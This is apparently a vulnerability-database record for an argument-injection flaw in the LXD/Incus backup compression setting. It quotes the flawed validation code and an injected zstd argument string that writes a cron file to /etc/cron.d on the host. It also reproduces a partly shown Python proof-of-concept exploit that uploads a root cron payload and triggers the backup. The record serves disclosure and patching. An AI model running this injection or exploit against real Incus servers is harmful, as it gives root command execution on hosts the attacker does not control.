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Response snapshot Nov 7, 2026, 20:21 UTC

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VulnerabilityGHSA-fmc8-p6q7-75cc

LXD has argument injection in backup compression algorithm leading to AFW and ACE

Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4 Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line.

Published Updated

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/canonical/lxd: 0.0.0-20260630083100-c5184be310b1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-fmc8-p6q7-75cc (opens a new tab)

What happened

Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Continue reading

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
 return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

args := []string{"-c"}
if len(fields) > 1 {
 args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \
 --insecure --url https://remote-incus:8443 \
 --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
 --instance c01 \
 --execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default. --execute uploads a cron payload into an instance and
then asks Incus for a direct backup with a zstd argument-injection compressor:

 zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- 

The direct backup may fail after zstd runs; the host file write is the primitive.
Use only on an authorized Incus server.
"""

from __future__ import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests

def q(value: str) -> str:
 return urllib.parse.quote(value, safe="")

def api(base: str, endpoint: str, **params: str) -> str:
 return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")

def project_instance(project: str, instance: str) -> str:
 return instance if project == "default" else f"{project}_{instance}"

def clean_guest_path(path: str) -> str:
 if not path.startswith("/"):
 raise ValueError("--guest-path must be absolute")
 if ".." in PurePosixPath(path).parts:
 raise ValueError("--guest-path must not contain '..'")
 return os.path.normpath("/" + path.lstrip("/")).lstrip("/")

def source_path(args: argparse.Namespace) -> str:
 if args.source_host_path:
 return args.source_host_path
 return os.path.join(
 args.incus_dir,
 "storage-pools",
 args.pool,
 args.storage_kind,
 project_instance(args.project, args.instance),
 "rootfs",
 clean_guest_path(args.guest_path),
 )

def cron(command: str) -> bytes:
 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()

def session(args: argparse.Namespace) -> requests.Session:
 s = requests.Session()
 s.verify = False if args.insecure else (args.cacert or True)
 if args.cert or args.key:
 s.cert = (args.cert, args.key)
 if args.token:
 s.headers["Authorization"] = "Bearer " + args.token
 s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
 if args.insecure:
 requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]
 return s

def check(resp: requests.Response, what: str) -> requests.Response:
 if resp.status_code >= 400:
 try:
 detail: Any = resp.json()
 except Exception:
 detail = resp.text[:2048]
 raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
 return resp

def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
 url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
 headers = {
 "Content-Type": "application/octet-stream",
 "X-Incus-type": "file",
 "X-Incus-write": "overwrite",
 "X-Incus-uid": "0",
 "X-Incus-gid": "0",
 "X-Incus-mode": "0644",
 }
 print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
 check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")

def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
 url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
 print("[*] sending direct backup request")
 resp = s.post(
 url,
 data=json.dumps(body).encode(),
 headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
 timeout=args.timeout,
 stream=True,
 )
 print(f"[*] backup HTTP {resp.status_code}")
 resp.close()
 if resp.status_code >= 400:
 print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")

def parse_args() -> argparse.Namespace:
 p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
 p.add_argument("--url", required=True, help="https://host:8443")
 p.add_argument("--cert", help="client certificate PEM")
 p.add_argument("--key", help="client private key PEM")
 p.add_argument("--cacert", help="CA certificate PEM")
 p.add_argument("--token", help="bearer token")
 p.add_argument("--insecure", action="store_true", help="disable TLS verification")
 p.add_argument("--timeout", type=int, default=180)

 p.add_argument("--project", default="default")
 p.add_argument("--instance", required=True)
 p.add_argument("--pool", default="default")
 p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
 p.add_argument("--incus-dir", default="/var/lib/incus")
 p.add_argument("--guest-path", default="/incus-zstd-

Affected package ranges reported by GitHub:
github.com/canonical/lxd: < 0.0.0-20260630083100-c5184be310b1

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-fmc8-p6q7-75cc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-fmc8-p6q7-75cc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). LXD has argument injection in backup compression algorithm leading to AFW and ACE. https://kevwire.com/record/GHSA-fmc8-p6q7-75cc

MLA

"LXD has argument injection in backup compression algorithm leading to AFW and ACE." KEVWire, 6 Nov. 2026, kevwire.com/record/GHSA-fmc8-p6q7-75cc.

Chicago

KEVWire. "LXD has argument injection in backup compression algorithm leading to AFW and ACE." Last modified November 6, 2026. https://kevwire.com/record/GHSA-fmc8-p6q7-75cc.

Evidence summary (plain text)

LXD has argument injection in backup compression algorithm leading to AFW and ACE (Nov 6, 2026).
Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4

Improper validation of user-provided backup compression algorithm leads to
argument injection in the constructed command line. This leads to an
arbitrary file write on the host, possibly leading to arbitrary command
execution.

Incus validates compression_algorithm by parsing it into fields and checking
only the first token against an allowlist:

Extra arguments are not rejected.
Sources:
GitHub-reviewed advisory GHSA-fmc8-p6q7-75cc: https://github.com/advisories/GHSA-fmc8-p6q7-75cc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-fmc8-p6q7-75cc.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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